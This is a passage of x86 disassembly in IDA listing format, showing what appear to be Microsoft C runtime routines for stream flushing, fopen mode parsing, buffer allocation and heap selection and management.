loc_41A2DC: ; CODE XREF: sub_41A2AE+Bj
; sub_41A2AE+25j
pop edi
pop esi
retn
sub_41A2AE endp
; =============== S U B R O U T I N E =======================================
sub_41A2DF proc near ; CODE XREF: sub_419B38+670p
; sub_419B38+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41A313
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41A2F5: ; CODE XREF: sub_41A2DF+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41A279
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41A313
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41A2F5
loc_41A313: ; CODE XREF: sub_41A2DF+Cj
; sub_41A2DF+2Bj
pop edi
pop esi
pop ebx
retn
sub_41A2DF endp
; =============== S U B R O U T I N E =======================================
sub_41A317 proc near ; CODE XREF: sub_419B38+E5p
; sub_419B38+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41A317 endp
; =============== S U B R O U T I N E =======================================
sub_41A324 proc near ; CODE XREF: sub_419B38+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41A324 endp
; =============== S U B R O U T I N E =======================================
sub_41A334 proc near ; CODE XREF: sub_419B38+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41A334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A342 proc near ; CODE XREF: sub_417494+17p
; sub_417494+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41A360
mov ecx, off_438A80
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41A3B2
; ---------------------------------------------------------------------------
loc_41A360: ; CODE XREF: sub_41A342+10j
mov ecx, eax
push esi
mov esi, off_438A80
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41A385
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41A38E
; ---------------------------------------------------------------------------
loc_41A385: ; CODE XREF: sub_41A342+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41A38E: ; CODE XREF: sub_41A342+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_41F88F
add esp, 1Ch
test eax, eax
jnz short loc_41A3AE
leave
retn
; ---------------------------------------------------------------------------
loc_41A3AE: ; CODE XREF: sub_41A342+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41A3B2: ; CODE XREF: sub_41A342+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41A342 endp
; =============== S U B R O U T I N E =======================================
sub_41A3B7 proc near ; CODE XREF: sub_417600+2Ap
; sub_41FBF2+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_48A8E0
jnb loc_41A451
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:48A7E0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41A451
push edi
call sub_41FB5E
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41A430
cmp edi, 1
jz short loc_41A3FE
cmp edi, 2
jnz short loc_41A414
loc_41A3FE: ; CODE XREF: sub_41A3B7+40j
push 2
call sub_41FB5E
push 1
mov ebp, eax
call sub_41FB5E
pop ecx
cmp eax, ebp
pop ecx
jz short loc_41A430
loc_41A414: ; CODE XREF: sub_41A3B7+45j
push edi
call sub_41FB5E
pop ecx
push eax
call dword_423078 ; CloseHandle
test eax, eax
jnz short loc_41A430
call dword_42308C ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_41A432
; ---------------------------------------------------------------------------
loc_41A430: ; CODE XREF: sub_41A3B7+3Bj
; sub_41A3B7+5Bj ...
xor ebp, ebp
loc_41A432: ; CODE XREF: sub_41A3B7+77j
push edi
call sub_41FAE4
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41A44D
push ebp
call sub_41EC6F
pop ecx
jmp short loc_41A462
; ---------------------------------------------------------------------------
loc_41A44D: ; CODE XREF: sub_41A3B7+8Bj
xor eax, eax
jmp short loc_41A465
; ---------------------------------------------------------------------------
loc_41A451: ; CODE XREF: sub_41A3B7+Ej
; sub_41A3B7+2Fj
and dword_4894B0, 0
mov dword_4894AC, 9
loc_41A462: ; CODE XREF: sub_41A3B7+94j
or eax, 0FFFFFFFFh
loc_41A465: ; CODE XREF: sub_41A3B7+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A3B7 endp
; =============== S U B R O U T I N E =======================================
sub_41A46A proc near ; CODE XREF: sub_417600+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41A493
test al, 8
jz short loc_41A493
push dword ptr [esi+8]
call sub_41793B
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41A493: ; CODE XREF: sub_41A46A+Aj
; sub_41A46A+Ej
pop esi
retn
sub_41A46A endp
; =============== S U B R O U T I N E =======================================
sub_41A495 proc near ; CODE XREF: sub_41A535+2Dp
; sub_41A535+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41A4A7
push esi
call sub_41A535
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A4A7: ; CODE XREF: sub_41A495+7j
push esi
call sub_41A4D0
test eax, eax
pop ecx
jz short loc_41A4B7
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A4B7: ; CODE XREF: sub_41A495+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41A4CC
push dword ptr [esi+10h]
call sub_41FB9B
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A4CC: ; CODE XREF: sub_41A495+26j
xor eax, eax
pop esi
retn
sub_41A495 endp
; =============== S U B R O U T I N E =======================================
sub_41A4D0 proc near ; CODE XREF: sub_417600+1Ap
; sub_418A0E+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41A51D
test ax, 108h
jz short loc_41A51D
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41A51D
push edi
push eax
push dword ptr [esi+10h]
call sub_41EAC2
add esp, 0Ch
cmp eax, edi
jnz short loc_41A516
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41A51D
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41A51D
; ---------------------------------------------------------------------------
loc_41A516: ; CODE XREF: sub_41A4D0+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41A51D: ; CODE XREF: sub_41A4D0+14j
; sub_41A4D0+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41A4D0 endp
; =============== S U B R O U T I N E =======================================
sub_41A52C proc near ; CODE XREF: sub_41F813p
push 1
call sub_41A535
pop ecx
retn
sub_41A52C endp
; =============== S U B R O U T I N E =======================================
sub_41A535 proc near ; CODE XREF: sub_41A495+Ap
; sub_41A52C+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_48A7C0, esi
jle short loc_41A593
loc_41A546: ; CODE XREF: sub_41A535+5Cj
mov eax, dword_4897A8
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41A58A
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41A58A
cmp [esp+0Ch+arg_0], 1
jnz short loc_41A570
push eax
call sub_41A495
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41A58A
inc ebx
jmp short loc_41A58A
; ---------------------------------------------------------------------------
loc_41A570: ; CODE XREF: sub_41A535+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41A58A
test cl, 2
jz short loc_41A58A
push eax
call sub_41A495
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41A58A
or edi, eax
loc_41A58A: ; CODE XREF: sub_41A535+1Bj
; sub_41A535+23j ...
inc esi
cmp esi, dword_48A7C0
jl short loc_41A546
loc_41A593: ; CODE XREF: sub_41A535+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41A59E
mov eax, edi
loc_41A59E: ; CODE XREF: sub_41A535+65j
pop edi
pop esi
pop ebx
retn
sub_41A535 endp
; =============== S U B R O U T I N E =======================================
sub_41A5A2 proc near ; CODE XREF: sub_417656+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41F748
test eax, eax
pop ecx
jz short loc_41A62B
cmp esi, offset dword_43B1B8
jnz short loc_41A5C0
xor eax, eax
jmp short loc_41A5CB
; ---------------------------------------------------------------------------
loc_41A5C0: ; CODE XREF: sub_41A5A2+18j
cmp esi, offset dword_43B1D8
jnz short loc_41A62B
push 1
pop eax
loc_41A5CB: ; CODE XREF: sub_41A5A2+1Cj
inc dword_489670
test word ptr [esi+0Ch], 10Ch
jnz short loc_41A62B
cmp dword_489504[eax*4], 0
push ebx
push edi
lea edi, ds:489504h[eax*4]
mov ebx, 1000h
jnz short loc_41A611
push ebx
call sub_417889
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_41A611
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_41A61E
; ---------------------------------------------------------------------------
loc_41A611: ; CODE XREF: sub_41A5A2+4Dj
; sub_41A5A2+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_41A61E: ; CODE XREF: sub_41A5A2+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A62B: ; CODE XREF: sub_41A5A2+10j
; sub_41A5A2+24j ...
xor eax, eax
pop esi
retn
sub_41A5A2 endp
; =============== S U B R O U T I N E =======================================
sub_41A62F proc near ; CODE XREF: sub_417656+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41A659
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41A66A
push esi
call sub_41A4D0
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A659: ; CODE XREF: sub_41A62F+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41A66A
push eax
call sub_41A4D0
pop ecx
loc_41A66A: ; CODE XREF: sub_41A62F+10j
; sub_41A62F+32j
pop esi
retn
sub_41A62F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A66C proc near ; CODE XREF: sub_417688+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_489678
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41A6A5
cmp al, 72h
jz short loc_41A69E
cmp al, 77h
jnz loc_41A7B9
mov ecx, 301h
jmp short loc_41A6AA
; ---------------------------------------------------------------------------
loc_41A69E: ; CODE XREF: sub_41A66C+21j
xor ecx, ecx
or esi, 1
jmp short loc_41A6AD
; ---------------------------------------------------------------------------
loc_41A6A5: ; CODE XREF: sub_41A66C+1Dj
mov ecx, 109h
loc_41A6AA: ; CODE XREF: sub_41A66C+30j
or esi, 2
loc_41A6AD: ; CODE XREF: sub_41A66C+37j
push 1
pop edx
loc_41A6B0: ; CODE XREF: sub_41A66C+8Bj
; sub_41A66C+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41A79F
cmp edx, ebx
jz loc_41A79F
movsx eax, al
cmp eax, 54h
jg short loc_41A73E
jz short loc_41A72E
sub eax, 2Bh
jz short loc_41A718
sub eax, 19h
jz short loc_41A70E
sub eax, 0Eh
jz short loc_41A6F9
dec eax
jnz loc_41A790
cmp [ebp+var_4], ebx
jnz loc_41A790
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A6F9: ; CODE XREF: sub_41A66C+6Fj
cmp [ebp+var_4], ebx
jnz loc_41A790
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A70E: ; CODE XREF: sub_41A66C+6Aj
test cl, 40h
jnz short loc_41A790
or ecx, 40h
jmp short loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A718: ; CODE XREF: sub_41A66C+65j
test cl, 2
jnz short loc_41A790
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A72E: ; CODE XREF: sub_41A66C+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41A790
or ecx, eax
jmp loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A73E: ; CODE XREF: sub_41A66C+5Ej
sub eax, 62h
jz short loc_41A78B
dec eax
jz short loc_41A774
sub eax, 0Bh
jz short loc_41A75D
sub eax, 6
jnz short loc_41A790
test ch, 0C0h
jnz short loc_41A790
or ch, 40h
jmp loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A75D: ; CODE XREF: sub_41A66C+DDj
cmp [ebp+var_8], ebx
jnz short loc_41A790
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A774: ; CODE XREF: sub_41A66C+D8j
cmp [ebp+var_8], ebx
jnz short loc_41A790
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A78B: ; CODE XREF: sub_41A66C+D5j
test ch, 0C0h
jz short loc_41A797
loc_41A790: ; CODE XREF: sub_41A66C+72j
; sub_41A66C+7Bj ...
xor edx, edx
jmp loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A797: ; CODE XREF: sub_41A66C+122j
or ch, 80h
jmp loc_41A6B0
; ---------------------------------------------------------------------------
loc_41A79F: ; CODE XREF: sub_41A66C+4Aj
; sub_41A66C+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41FBF2
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41A7BD
loc_41A7B9: ; CODE XREF: sub_41A66C+25j
xor eax, eax
jmp short loc_41A7D7
; ---------------------------------------------------------------------------
loc_41A7BD: ; CODE XREF: sub_41A66C+14Bj
mov eax, [ebp+arg_C]
inc dword_489670
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41A7D7: ; CODE XREF: sub_41A66C+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41A66C endp
; =============== S U B R O U T I N E =======================================
sub_41A7DC proc near ; CODE XREF: sub_417688p
mov edx, dword_48A7C0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41A84D
mov ebx, dword_4897A8
mov edi, ebx
loc_41A7F8: ; CODE XREF: sub_41A7DC+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41A813
test byte ptr [ecx+0Ch], 83h
jz short loc_41A80E
inc eax
add edi, 4
cmp eax, edx
jl short loc_41A7F8
jmp short loc_41A84D
; ---------------------------------------------------------------------------
loc_41A80E: ; CODE XREF: sub_41A7DC+26j
mov esi, [ebx+eax*4]
jmp short loc_41A837
; ---------------------------------------------------------------------------
loc_41A813: ; CODE XREF: sub_41A7DC+20j
mov edi, eax
push 20h
shl edi, 2
call sub_417889
pop ecx
mov ecx, dword_4897A8
mov [edi+ecx], eax
mov eax, dword_4897A8
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41A84D
mov esi, edi
loc_41A837: ; CODE XREF: sub_41A7DC+35j
cmp esi, ebp
jz short loc_41A84D
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41A84D: ; CODE XREF: sub_41A7DC+12j
; sub_41A7DC+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A7DC endp
; =============== S U B R O U T I N E =======================================
sub_41A854 proc near ; CODE XREF: sub_41789B+1Fp
; sub_41914F+126p ...
arg_0 = dword ptr 4
mov eax, dword_489510
test eax, eax
jz short loc_41A86C
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41A86C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A86C: ; CODE XREF: sub_41A854+7j
; sub_41A854+12j
xor eax, eax
retn
sub_41A854 endp
; =============== S U B R O U T I N E =======================================
sub_41A86F proc near ; CODE XREF: sub_41A89C+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_423100 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_41A89A
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41A89A
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41A89A: ; CODE XREF: sub_41A86F+15j
; sub_41A86F+1Cj
pop esi
retn
sub_41A86F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A89C proc near ; CODE XREF: sub_41A9E4+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_417830
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_423144 ; GetVersionExA
test eax, eax
jz short loc_41A8DF
cmp [ebp+var_88], 2
jnz short loc_41A8DF
cmp [ebp+var_94], 5
jb short loc_41A8DF
push 1
pop eax
jmp loc_41A9E1
; ---------------------------------------------------------------------------
loc_41A8DF: ; CODE XREF: sub_41A89C+27j
; sub_41A89C+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_4231A4 ; GetEnvironmentVariableA
test eax, eax
jz loc_41A9CE
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_41A921
loc_41A90E: ; CODE XREF: sub_41A89C+83j
mov al, [ecx]
cmp al, 61h
jl short loc_41A91C
cmp al, 7Ah
jg short loc_41A91C
sub al, 20h
mov [ecx], al
loc_41A91C: ; CODE XREF: sub_41A89C+76j
; sub_41A89C+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_41A90E
loc_41A921: ; CODE XREF: sub_41A89C+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_418AA0
add esp, 0Ch
test eax, eax
jnz short loc_41A943
lea eax, [ebp+var_122C]
jmp short loc_41A98C
; ---------------------------------------------------------------------------
loc_41A943: ; CODE XREF: sub_41A89C+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_423094 ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_41A977
loc_41A964: ; CODE XREF: sub_41A89C+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_41A972
cmp al, 7Ah
jg short loc_41A972
sub al, 20h
mov [ecx], al
loc_41A972: ; CODE XREF: sub_41A89C+CCj
; sub_41A89C+D0j
inc ecx
cmp [ecx], bl
jnz short loc_41A964
loc_41A977: ; CODE XREF: sub_41A89C+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_417580
pop ecx
pop ecx
loc_41A98C: ; CODE XREF: sub_41A89C+A5j
cmp eax, ebx
jz short loc_41A9CE
push 2Ch
push eax
call sub_418C50
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41A9CE
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41A9B3
loc_41A9A5: ; CODE XREF: sub_41A89C+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_41A9AE
mov [ecx], bl
jmp short loc_41A9AF
; ---------------------------------------------------------------------------
loc_41A9AE: ; CODE XREF: sub_41A89C+10Cj
inc ecx
loc_41A9AF: ; CODE XREF: sub_41A89C+110j
cmp [ecx], bl
jnz short loc_41A9A5
loc_41A9B3: ; CODE XREF: sub_41A89C+107j
push 0Ah
push ebx
push eax
call sub_41851C
add esp, 0Ch
cmp eax, 2
jz short loc_41A9E1
cmp eax, 3
jz short loc_41A9E1
cmp eax, 1
jz short loc_41A9E1
loc_41A9CE: ; CODE XREF: sub_41A89C+5Cj
; sub_41A89C+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_41A86F
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41A9E1: ; CODE XREF: sub_41A89C+3Ej
; sub_41A89C+126j ...
pop ebx
leave
retn
sub_41A89C endp
; =============== S U B R O U T I N E =======================================
sub_41A9E4 proc near ; CODE XREF: sub_4198E4+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_4231AC ; HeapCreate
test eax, eax
mov dword_48AB24, eax
jz short loc_41AA3A
call sub_41A89C
cmp eax, 3
mov dword_48AB28, eax
jnz short loc_41AA20
push 3F8h
call sub_41AA41
pop ecx
jmp short loc_41AA2A
; ---------------------------------------------------------------------------
loc_41AA20: ; CODE XREF: sub_41A9E4+2Dj
cmp eax, 2
jnz short loc_41AA3D
call sub_41B588
loc_41AA2A: ; CODE XREF: sub_41A9E4+3Aj
test eax, eax
jnz short loc_41AA3D
push dword_48AB24
call dword_4231A8 ; HeapDestroy
loc_41AA3A: ; CODE XREF: sub_41A9E4+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41AA3D: ; CODE XREF: sub_41A9E4+3Fj
; sub_41A9E4+48j
push 1
pop eax
retn
sub_41A9E4 endp
; =============== S U B R O U T I N E =======================================
sub_41AA41 proc near ; CODE XREF: sub_41A9E4+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_48AB24
call dword_4230E8 ; RtlAllocateHeap
test eax, eax
mov dword_48AB1C, eax
jnz short loc_41AA5E
retn
; ---------------------------------------------------------------------------
loc_41AA5E: ; CODE XREF: sub_41AA41+1Aj
mov ecx, [esp+arg_0]
and dword_48AB14, 0
and dword_48AB18, 0
push 1
mov dword_48AB10, eax
mov dword_48AB20, ecx
mov dword_48AB08, 10h
pop eax
retn
sub_41AA41 endp
; =============== S U B R O U T I N E =======================================
sub_41AA89 proc near ; CODE XREF: sub_41793B+17p
; sub_41914F+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_48AB18
lea ecx, [eax+eax*4]
mov eax, dword_48AB1C
lea ecx, [eax+ecx*4]
loc_41AA99: ; CODE XREF: sub_41AA89+26j
cmp eax, ecx
jnb short loc_41AAB1
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41AAB3
add eax, 14h
jmp short loc_41AA99
; ---------------------------------------------------------------------------
loc_41AAB1: ; CODE XREF: sub_41AA89+12j
xor eax, eax
locret_41AAB3: ; CODE XREF: sub_41AA89+21j
retn
sub_41AA89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AAB4 proc near ; CODE XREF: sub_41793B+23p
; sub_41914F+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41ADD8
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41AB8A
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41AB18
push 3Fh
pop edx
loc_41AB18: ; CODE XREF: sub_41AAB4+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41AB6C
cmp edx, 20h
jnb short loc_41AB43
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41AB64
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41AB64
; ---------------------------------------------------------------------------
loc_41AB43: ; CODE XREF: sub_41AAB4+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41AB64
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41AB64: ; CODE XREF: sub_41AAB4+86j
; sub_41AAB4+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41AB6F
; ---------------------------------------------------------------------------
loc_41AB6C: ; CODE XREF: sub_41AAB4+6Aj
mov ecx, [ebp+var_4]
loc_41AB6F: ; CODE XREF: sub_41AAB4+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41AB8A: ; CODE XREF: sub_41AAB4+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41AB98
push 3Fh
pop edx
loc_41AB98: ; CODE XREF: sub_41AAB4+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41AC3B
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41ABBD
mov ebx, esi
loc_41ABBD: ; CODE XREF: sub_41AAB4+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41ABCF
mov edx, esi
loc_41ABCF: ; CODE XREF: sub_41AAB4+117j
cmp ebx, edx
jz short loc_41AC36
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41AC1E
cmp ebx, 20h
jnb short loc_41ABFF
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41AC1E
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41AC1E
; ---------------------------------------------------------------------------
loc_41ABFF: ; CODE XREF: sub_41AAB4+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41AC1E
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41AC1E: ; CODE XREF: sub_41AAB4+128j
; sub_41AAB4+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41AC36: ; CODE XREF: sub_41AAB4+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41AC3E
; ---------------------------------------------------------------------------
loc_41AC3B: ; CODE XREF: sub_41AAB4+EDj
mov ebx, [ebp+arg_0]
loc_41AC3E: ; CODE XREF: sub_41AAB4+185j
cmp [ebp+var_C], 0
